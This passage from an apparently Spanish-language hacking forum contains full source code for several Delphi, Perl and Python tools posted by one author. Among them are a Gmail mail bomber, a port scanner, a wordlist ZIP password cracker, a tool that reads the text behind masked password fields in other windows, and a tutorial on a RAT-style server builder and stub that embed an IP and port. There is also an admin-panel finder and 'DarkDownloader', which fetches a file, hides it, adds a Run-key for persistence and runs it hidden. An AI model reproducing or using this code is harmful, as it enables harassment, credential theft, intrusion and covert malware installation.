    if SaveDialog1.Execute then
    begin
      Image2.Picture.Icon.SaveToFile(SaveDialog1.FileName);
      ShowMessage('Icon Extracted');
    end;

  end;

  procedure TForm1.FormCreate(Sender: TObject);
  begin

    SaveDialog1.Title := 'Save your Icon';
    SaveDialog1.InitialDir := GetCurrentDir;
    SaveDialog1.DefaultExt := 'ico';

  end;

  procedure TForm1.ListView1DblClick(Sender: TObject);

  var
    acanow: TIcon;
    archivo: string;
    bajar: TSHFileInfo;

  begin

    archivo := Edit1.Text + ListView1.Selected.Caption;
    if FileExists(archivo) then
    begin
      acanow := TIcon.Create;
      SHGetFileInfo(PChar(archivo), 0, bajar, SizeOf(bajar), SHGFI_ICON);
      acanow.Handle := bajar.hIcon;
      Image2.Picture.Icon := acanow;
      acanow.Free;
    end;
  end;

end.

// The End ?


Si quieren bajarlo lo pueden hacer de aca
#167
Un simple Port Scanner en Delphi.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// DH Port Scanner 0.2
// Coded By Doddy H

unit port;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, sButton, IdTCPClient, sMemo, jpeg,
  ExtCtrls, ComCtrls, sStatusBar, sEdit, sLabel, IdBaseComponent, IdComponent,
  IdTCPConnection;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sButton1: TsButton;
    sMemo1: TsMemo;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    IdTCPClient1: TIdTCPClient;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: Integer;
begin

  sMemo1.Clear;

  For i := StrToInt(sEdit2.Text) to StrToInt(sEdit3.Text) do
  begin
    try
      begin

        sStatusBar1.Panels[0].Text := '[+] Scanning : ' + IntToStr(i);
        Form1.sStatusBar1.Update;

        IdTCPClient1.Host := sEdit1.Text;
        IdTCPClient1.port := i;
        IdTCPClient1.ConnectTimeout := 1;
        IdTCPClient1.Connect;

        sMemo1.Lines.Add('Port Open : ' + IntToStr(i));

        IdTCPClient1.Disconnect;

      end;
    except
      begin
        //
      end;
    end;

  end;
  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Abort;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#168
Programación General / [Delphi] DH Bomber 0.3
26 Julio 2013, 21:19 PM
Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// DH Bomber 0.3
// Coded By Doddy H
// Credits :
// Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel,
  sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler,
  IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sLabel5: TsLabel;
    sEdit5: TsEdit;
    sLabel6: TsLabel;
    sEdit6: TsEdit;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sButton1: TsButton;
    sStatusBar1: TsStatusBar;
    PopupMenu1: TPopupMenu;
    MediaPlayer1: TMediaPlayer;
    N2: TMenuItem;
    S2: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure MediaPlayer1Notify(Sender: TObject);
    procedure sButton1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

var
  themenow: Boolean; { Global Variable }

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'deep';
  sSkinManager1.Active := True;

  MediaPlayer1.FileName := 'data/theme.mp3';
  MediaPlayer1.Open;
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.MediaPlayer1Notify(Sender: TObject);
begin
  if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then
  begin
    MediaPlayer1.Play;
    MediaPlayer1.Notify := True;
  end;
end;

procedure TForm1.N2Click(Sender: TObject);
begin
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.S2Click(Sender: TObject);
begin
  themenow := false;
  MediaPlayer1.Stop;
  MediaPlayer1.Notify := True;
end;

procedure enviate_esta(username, password, toto, subject, body: string);
var
  data: TIdMessage;
  mensaje: TIdSMTP;

begin

  mensaje := TIdSMTP.Create(nil);

  data := TIdMessage.Create(nil);
  data.From.Address := username;
  data.Recipients.EMailAddresses := toto;
  data.subject := subject;
  data.body.Text := body;

  mensaje.Host := 'smtp.gmail.com';
  mensaje.Port := 587;
  mensaje.username := username;
  mensaje.password := password;

  mensaje.Connect;
  mensaje.Send(data);
  mensaje.Disconnect;

  mensaje.Free;
  data.Free;

end;

procedure TForm1.sButton1Click(Sender: TObject);

var
  i: integer;
  count: integer;
  idasunto: string;

begin

  count := StrToInt(sEdit5.Text);

  For i := 1 to count do
  begin

    if count > 1 then
    begin
      idasunto := '_' + IntToStr(i);
    end;

    try
      begin
        sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr
          (i) + ' ...';
        Form1.sStatusBar1.Update;

        enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text,
          sEdit6.Text + idasunto, sMemo1.Text);
      end;
    except
      begin
        sStatusBar1.Panels[0].Text :=
          '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
        Form1.sStatusBar1.Update;
      end;

    end;

    sStatusBar1.Panels[0].Text := '[+] Finished';
    Form1.sStatusBar1.Update;

  end;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#169
Scripting / [Perl] PasteBin Downloader 0.1
20 Julio 2013, 23:58 PM
Un simple script en Perl para bajar codigos de pastebin.
Pueden bajar solo uno o hacer que el programa busque links de pastebin en una pagina y bajarlos a todos.

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#PasteBin Downloader 0.1
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);
use HTML::LinkExtor;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(10);

my $se = "downloads_pastebin";

unless ( -d $se ) {
   mkdir( $se, "777" );
}

chdir $se;

print "\n-- == PasteBin Downloader 0.1 == --\n";

unless ( $ARGV[0] and $ARGV[1] ) {
   print "\n[+] Sintax : $0 < -single / -page > <url>\n";
}
else {
   print "\n[+] Searching ...\n";
   if ( $ARGV[0] eq "-single" ) {
       download_this( $ARGV[1] );
   }
   if ( $ARGV[0] eq "-page" ) {
       download_all( $ARGV[1] );
   }
}

print "\n(C) Doddy Hackman 2013\n";

sub download_all {

   my $page = shift;

   my $code = toma($page);
   chomp $code;

   my @links_all = repes( get_links($code) );

   for my $page_down (@links_all) {
       download_this($page_down);
   }

}

sub download_this {

   my $page   = shift;
   my $titulo = "";
   my $num    = "";

   print "\n[+] Checking : $page\n";

   my $code = toma($page);

   if ( $page =~ /http:\/\/(.*)\/(.*)/ ) {
       $num = $2;

       if ( $code =~ /<div class="paste_box_line1" title="(.*)">/ ) {
           $titulo = $1;

           print "[+] Downloading : http://pastebin.com/download.php?i=$num\n";

           if (
               download(
                   "http://pastebin.com/download.php?i=$num",
                   $titulo . ".txt"
               )
             )
           {
               print "[+] File Downloaded !\n";
           }
           else {
               print "[-] Error\n";
           }

       }
   }

}

sub download {

   if ( $nave->mirror( $_[0], $_[1] ) ) {
       if ( -f $_[1] ) {
           return true;
       }
   }
}

sub repes {
   my @limpio;
   foreach $test (@_) {
       push @limpio, $test unless $repe{$test}++;
   }
   return @limpio;
}

sub toma {
   return $nave->get( $_[0] )->content;
}

sub get_links {

   $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
   return @links;

   sub agarrar {
       my ( $a, %b ) = @_;
       push( @links, values %b );
   }
}

#The End ?

#170
Scripting / [Python] ZIP Crack 0.1
20 Julio 2013, 23:03 PM
Un simple script en Python para crackear archivos ZIP.

El codigo

Código (python) [Seleccionar]

#!usr/bin/python
#ZIP Crack 0.1
#Coded By Doddy H

import sys,zipfile

def head():
print "\n-- == ZIP Crack 0.1 == --\n"

def copyright():
print "\n(C) Doddy Hackman 2013\n"

def sintax():
print "\n[+] Sintax : "+sys.argv[0]+"<file> <wordlist>"

head()

if len(sys.argv) != 3 :
sintax()
else:

try:
  passwords = open(sys.argv[2], "r").readlines()
except :
  print "\n[-] Error opening file\n"
op = 0 
print "\n[+] Cracking ...\n"
for password in passwords:
  password = password.replace("\r","").replace("\n","")
  if op==1:
   copyright()
   sys.exit(0)
  try:
   test = zipfile.ZipFile(sys.argv[1])
   test.extractall(pwd=password)
   print "[+] Zip Cracked : "+sys.argv[1]
   print "[+] Password : "+password
   op = 1
  except:
   pass
   
print "[-] Password Not Found"

copyright()

#The End ?
#171
Un simple programa para revelar los famosos asteriscos.

El clasico de los clasicos xDD.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// Magic Click 0.2
// Coded By Doddy H
// Credits : Thanks to Victory Fernandes for their excellent manual on how to reveal asterisks

unit magic;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sEdit, sGroupBox, sButton;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    Timer1: TTimer;
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);

    procedure FormCreate(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;

  Timer1.Enabled := True;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  sEdit1.SelectAll;
  sEdit1.CopyToClipboard;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  posicion: TPoint;
  password: array [0 .. 63] of Char;
  need: HWND;
begin
  GetCursorPos(posicion);
  need := WindowFromPoint(posicion);
  if SendMessage(need, EM_GETPASSWORDCHAR, 0, 0) <> 0 then
  begin
    SendMessage(need, WM_GETTEXT, 64, Longint(@password));
    sEdit1.Text := password;
  end;
end;

end.

// The End ?


Si quieren bajarlo pueden hacerlo de aca.
#172
[Titulo] : Creacion de un Server Builder
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Siempre quise hacer un Server Builder en delphi pero siempre me fue dificil porque nadie habia hecho un manual en Delphi donde se explicara , tampoco en los foros
de programacion me querian ayudar , entonces tuve que buscar mucho en google hasta encontrar un codigo simple donde se tratara de este tema.
Entonces encontre un codigo donde se trataba de este caso hecho en Delphi por alguien llamado Faceless Wonder , de esta forma me base del codigo de Faceless Wonder
para poder hacer uno bien basico para poder explicar en este tutorial.

Empecemos .......


0x02 : Creacion del builder

Primero vamos a crear el builder , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :



Ahora creamos dos edit y un boton como en la imagen :



Despues le damos doble click al boton para poner el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button1Click(Sender: TObject);
var
  linea: string; // Declaramos todas las variables
  aca: THandle;
  code: Array [0 .. 80 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;

begin

  marca_uno := '{IP}'; // Ponemos la marca para la IP
  marca_dos := '{PORT}'; // Ponemos la marca para el puerto

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  begin
    linea := marca_uno + Edit1.Text + marca_uno + marca_dos + Edit2.Text +
      marca_dos; // Formamos la linea con los datos de la IP y el Puerto
    StrCopy(code, pchar(linea));
    aca := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0); // Abrimos el archivo server.exe
    if (aca <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(aca, 0, nil, FILE_END);
      WriteFile(aca, code, 80, nose, nil); // Escribimos en el archivo
      CloseHandle(aca); // Cerramos el archivo
    end;
  end;

end;


Otra imagen para que vean como quedo :



Con eso guardamos el proyecto y vamos al stub

0x03 : Creacion del stub

La parte vital y supuestamente mas dificil , la idea es que el archivo se lea a si mismo y busque lo que hicimos en el builder , para empezar hacemos lo mismo que el builder ,
creamos otro proyecto como la otra vez , File->New->VCL Forms Application , entonces agregamos dos edit y un boton como en la imagen.



Una vez hecho hacemos doble click en el boton y ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

// Funcion para dividir el texto para buscar la IP y el Puerto

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  ob: THandle; // Declaramos todas las variables
  code: Array [0 .. 80 + 1] of Char;
  nose: DWORD;
  ip: string;
  port: string;

begin

  ob := INVALID_HANDLE_VALUE;
  code := '';

  // El programa se lee a si mismo
  ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -80, nil, FILE_END);
    ReadFile(ob, code, 80, nose, nil); // Extraemos el contenido y lo ponemos en la variable code
    CloseHandle(ob); // Cerramos el archivo
  end;

  ip := regex(code, '{IP}', '{IP}'); // Usamos la funcion regex para sacar la IP
  port := regex(code, '{PORT}', '{PORT}'); // Usamos la funcion regex para sacar el puerto

  Edit1.text := ip; // Ponemos la IP en Edit1
  Edit2.text := port; // Ponemos el puerto en Edit2

end;


Una imagen de como queda :



Guarden el proyecto de forma que el ejecutable termine llamandose server.exe

Ahora que esta todo hecho pasamos al siguiente punto.

0x04 : Probando el programa

Bueno  ,ahora solo cargan el builder , ponen los datos que quieran y despues cargan el stub "server.exe" para cargar el boton del stub , entonces veran algo como esto



Como ven tambien use WinHex para cargar el ejecutable server.exe y verificar que realmente el builder habia hecho bien el trabajo.

Eso seria todo.

Si quieren bajar el manual en formato PDF lo pueden hacer de aca.

--========--
  The End ?
--========--
#173
Un simple programa para buscar el famoso panel de administracion.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// Admin Finder 0.2
// Coded By Doddy H

unit admin;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sGroupBox, ComCtrls, sStatusBar, jpeg, ExtCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
  sSkinManager, sListBox, sButton, sEdit, ShellApi, Menus;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    IdHTTP1: TIdHTTP;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sEdit2: TsEdit;
    PopupMenu1: TPopupMenu;
    S1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    procedure sListBox1DblClick(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.S1Click(Sender: TObject);
const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php',
    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
    'admin/default.php', 'administracion/', 'administracion/index.php',
    'administracion/login.php', 'administracion/ingresar.php',
    'administracion/admin.php', 'administration/', 'administration/index.php',
    'administration/login.php', 'administrator/index.php',
    'administrator/login.php', 'administrator/system.php', 'system/',
    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
    'admin/index.html', 'admin/login.html', 'admin/home.php',
    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
    'administrator/index.html', 'administrator/login.html',
    'administrator/account.html', 'administrator/account.php',
    'administrator.html', 'login.html', 'modelsearch/login.php',
    'moderator.php', 'moderator.html', 'moderator/login.php',
    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
    'moderator/', 'account.php', 'account.html', 'controlpanel/',
    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
    'system_administration/', 'ss_vms_admin_sm/');
var
  IdHTTP: TIdHTTP;
  i: integer;

begin
  try

    sListBox1.Clear;

    sStatusBar1.Panels[0].text := '[+] Starting the scan';
    Form1.sStatusBar1.Update;

    IdHTTP := TIdHTTP.Create(nil);

    for i := Low(paginas) to High(paginas) do
      try

        sStatusBar1.Panels[0].text := '[+] Testing : ' + paginas[i];
        Form1.sStatusBar1.Update;

        IdHTTP.Get(sEdit1.text + '/' + paginas[i]);
        if IdHTTP.ResponseCode = 200 then
          sListBox1.Items.Add(sEdit1.text + '/' + paginas[i]);
        sListBox1.Update;
      except
        on E: EIdHttpProtocolException do
          ;
        on E: Exception do
          ;
      end;
  finally
    IdHTTP.Free;
  end;

  sStatusBar1.Panels[0].text := '[+] Finished';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.S2Click(Sender: TObject);
begin
  Abort;
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  sEdit2.text := sListBox1.Items.Strings[sListBox1.ItemIndex];
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

end.

// The End ?


Si quieren lo puede bajar de aca.
#174
Un simple downloader con las siguientes opciones :

  • Cambiar el nombre del archivo descargado   
  • Guardarlo en una carpeta , si la carpeta no existe la crea
  • Ocultar el archivo y la carpeta
  • Hacer que ese archivo se cargue cada vez que inicie Windows
  • Cargar el archivo de forma oculta o normal

    El codigo :

    Código (delphi) [Seleccionar]

    // DarkDownloader 0.2
    // Coded By Doddy H

    unit down;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
      sSkinManager, StdCtrls, sEdit, sGroupBox, ComCtrls, sStatusBar, acProgressBar,
      sRadioButton, sCheckBox, jpeg, ExtCtrls, Registry, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        IdHTTP1: TIdHTTP;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        Button1: TButton;
        sStatusBar1: TsStatusBar;
        sProgressBar1: TsProgressBar;
        sGroupBox2: TsGroupBox;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sCheckBox1: TsCheckBox;
        sCheckBox2: TsCheckBox;
        sCheckBox3: TsCheckBox;
        sCheckBox4: TsCheckBox;
        Image1: TImage;
        sCheckBox5: TsCheckBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
        procedure Button1Click(Sender: TObject);

        procedure FormCreate(Sender: TObject);

        procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}

    function getfilename(archivo: string): string;
    var
      test: TStrings;
    begin

      test := TStringList.Create;
      test.Delimiter := '/';
      test.DelimitedText := archivo;
      Result := test[test.Count - 1];

      test.Free;

    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
      filename: string;
      nombrefinal: string;
      addnow: TRegistry;
      archivobajado: TFileStream;

    begin

      if not sCheckBox1.Checked then
      begin
        filename := sEdit1.Text;
        nombrefinal := getfilename(filename);
      end
      else
      begin
        nombrefinal := sEdit2.Text;
      end;

      archivobajado := TFileStream.Create(nombrefinal, fmCreate);

      try
        begin
          DeleteFile(nombrefinal);
          IdHTTP1.Get(sEdit1.Text, archivobajado);
          sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
          Form1.sStatusBar1.Update;
          archivobajado.Free;
        end;
      except
        sStatusBar1.Panels[0].Text := '[-] Failed download';
        Form1.sStatusBar1.Update;
        archivobajado.Free;
        Abort;
      end;

      if FileExists(nombrefinal) then
      begin

        if sCheckBox2.Checked then
        begin
          if not DirectoryExists(sEdit3.Text) then
          begin
            CreateDir(sEdit3.Text);
          end;
          MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
          sStatusBar1.Panels[0].Text := '[+] File Moved';
          Form1.sStatusBar1.Update;
        end;

        if sCheckBox3.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
          if sCheckBox2.Checked then
          begin
            SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
              FILE_ATTRIBUTE_HIDDEN);

            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end
          else
          begin
            SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
            sStatusBar1.Panels[0].Text := '[+] File Hidden';
            Form1.sStatusBar1.Update;
          end;
        end;

        if sCheckBox4.Checked then
        begin

          addnow := TRegistry.Create;
          addnow.RootKey := HKEY_LOCAL_MACHINE;
          addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

          if sCheckBox2.Checked then
          begin
            addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
          end
          else
          begin
            addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
                + '/' + nombrefinal);
          end;

          sStatusBar1.Panels[0].Text := '[+] Registry Updated';
          Form1.sStatusBar1.Update;

          addnow.Free;

        end;

        if sCheckBox5.Checked then
        begin

          if sRadioButton1.Checked then
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_SHOWNORMAL);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
                SW_SHOWNORMAL);
            end;
          end
          else
          begin
            if sCheckBox2.Checked then
            begin
              ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
                nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
            end;
          end;

        end;

        if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
          sCheckBox4.Checked or sCheckBox5.Checked then
        begin
          sStatusBar1.Panels[0].Text := '[+] Finished';
          Form1.sStatusBar1.Update;
        end;

      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
